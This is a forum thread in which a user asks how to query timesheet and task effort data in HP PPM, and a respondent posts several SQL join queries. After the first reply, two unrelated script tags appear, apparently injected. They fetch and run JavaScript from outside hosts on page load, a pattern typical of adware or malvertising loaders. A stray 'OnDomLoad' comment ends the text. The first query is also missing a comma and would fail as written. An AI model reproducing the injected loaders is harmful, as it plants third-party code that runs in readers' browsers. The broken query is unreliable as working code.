Project and Portfolio Management Practitioners Forum
cancel
Showing results for 
Search instead for 
Did you mean: 

SQL Query - Time Management

Highlighted
Token
Occasional Advisor

SQL Query - Time Management

Hi,

 

May I know how to query the time entry for the tasks by a resource of a particular project?

 

Thanks in advance.

 

Regards,

Madhu.

5 REPLIES
jsalass
Frequent Visitor

Re: SQL Query - Time Management

Hi,

 

Yes, please do a combination of the RSC_RESOURCES, TM_TIME_SHEETS, TM_TIME_SHEET_LINES, TM_WORK_UNITS, TM_ACTUALS, TM_ACTUALS_EFFORT and WP_TASKS tables

 

Check the Page 49 of the PPM 9.1 Data Model guide.

 

http://support.openview.hp.com/selfsolve/document/KM998213

 

Let me know if you need help when creating the query.

 

Regards,

jsalass

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
Token
Occasional Advisor

Re: SQL Query - Time Management

Dude, need little more help in querying. I mentioned the span of time sheet creation dates in the query and that returned no rows. Until I did that, I could get some data < I dint cross check though >

 

Can you help me hit the right query?

 

 

jsalass
Frequent Visitor

Re: SQL Query - Time Management

Sure,

You cannot use the span of the creation date of the query, you need to use the timesheet periods or the work units period so you can fetch the data for a specific user or task.

Let me created a based query for you then you can edit it based on your needs.

Regards,
Jonathan
jsalass
Frequent Visitor

Re: SQL Query - Time Management

Here you go:

 

Actual effort by task:

Select p.PROJECT_NAME, wp.WORK_PLAN_NAME ,ti.name Task_Name, ti.status,u.USERNAME, u.FULL_NAME,
wu.SCHED_EFFORT,wu.ACT_DURATION, wu.ACT_START_DATE, wu.ACT_EFFORT, wu.PERC_COMPLETE
from RSC_RESOURCES r, KNTA_USERS u, WP_TASKS t, WP_TASK_INFO ti
PM_WORK_PLANS wp, PM_PROJECTS p, wp_WORK_UNITS wu
where u.user_id=r.resource_id
and wu.resource_id=r.resource_id
and t.TASK_INFO_ID=ti.TASK_INFO_ID
and wu.TASK_ID=t.TASK_ID
and wp.WORK_PLAN_ID=t.WORK_PLAN_ID
and wp.project_id=p.project_id
--and u.username like 'jsalas' -- to filter by username


Actual Effort by Timesheets:

Select p.PROJECT_NAME, wp.WORK_PLAN_NAME ,ti.name Task_Name, ti.status,u.USERNAME, u.FULL_NAME,
wus.ACT_START_DATE ts_ACT_START_DATE, wus.ACT_EFFORT ts_ACT_EFFORT,
ts.time_sheet_id, tsl.time_sheet_line_id,  tsl.TM_WORK_UNIT_ID
from KNTA_USERS u, WP_TASKS t, WP_TASK_INFO ti,
PM_WORK_PLANS wp, PM_PROJECTS p, TM_WORK_UNITS wus, TM_TIME_SHEET_LINES tsl, TM_TIME_SHEETS ts,
KTMG_PERIODS tp
where u.user_id=ts.resource_id
and wus.resource_id=u.user_id
and t.TASK_INFO_ID=ti.TASK_INFO_ID
and wp.WORK_PLAN_ID=t.WORK_PLAN_ID
and wp.project_id=p.project_id
and ts.TIME_SHEET_ID=tsl.TIME_SHEET_ID
and tsl.WORK_ITEM_SET_ID=p.project_id
and tsl.WORK_ITEM_ID=t.task_id
and tsl.TM_WORK_UNIT_ID=wus.TM_WORK_UNIT_ID
and tp.period_id=ts.period_id -- you can use the KTMG_PERIODS to filter by periods or you can filter by act start or finish dates
--and u.username like 'jsalas' -- to filter by username


Or a combination of both queries:

Select p.PROJECT_NAME, wp.WORK_PLAN_NAME ,ti.name Task_Name, ti.status,u.USERNAME, u.FULL_NAME,
wu.SCHED_EFFORT,wu.ACT_DURATION, wu.ACT_START_DATE, wu.ACT_EFFORT, wu.PERC_COMPLETE,
wus.ACT_START_DATE ts_ACT_START_DATE, wus.ACT_EFFORT ts_ACT_EFFORT,
ts.time_sheet_id, tsl.time_sheet_line_id,  tsl.TM_WORK_UNIT_ID
from RSC_RESOURCES r, KNTA_USERS u, WP_TASKS t, WP_TASK_INFO ti, WP_WORK_UNITS wu,
PM_WORK_PLANS wp, PM_PROJECTS p, TM_WORK_UNITS wus,TM_TIME_SHEET_LINES tsl, TM_TIME_SHEETS ts,
KTMG_PERIODS tp
where u.user_id=r.resource_id
and wu.resource_id=r.resource_id
and u.user_id=ts.resource_id
and wus.resource_id=u.user_id
and t.TASK_INFO_ID=ti.TASK_INFO_ID
and wu.TASK_ID=t.TASK_ID
and wp.WORK_PLAN_ID=t.WORK_PLAN_ID
and wp.project_id=p.project_id
and ts.TIME_SHEET_ID=tsl.TIME_SHEET_ID
and tsl.WORK_ITEM_SET_ID=p.project_id
and tsl.WORK_ITEM_ID=t.task_id
and tsl.TM_WORK_UNIT_ID=wus.TM_WORK_UNIT_ID
and tp.period_id=ts.period_id -- you can use the KTMG_PERIODS to filter by periods or you can filter by act start or finish dates
--and u.username like 'jsalas' -- to filter by username

You can filter by task name, project, workplan, add fields, etc as you need.

Hope this helps.

Regards,
Jonathan

jsalass
Frequent Visitor

Re: SQL Query - Time Management

Hey Token,

I forgot to mention that I tested the query by user, so you can use the commented line and replace jsalas by your username and test.
Also, you can filter by task name, project, workplan, add fields, etc as you need.

Hope this helps.

Regards,
Jonathan
//Add this to "OnDomLoad" event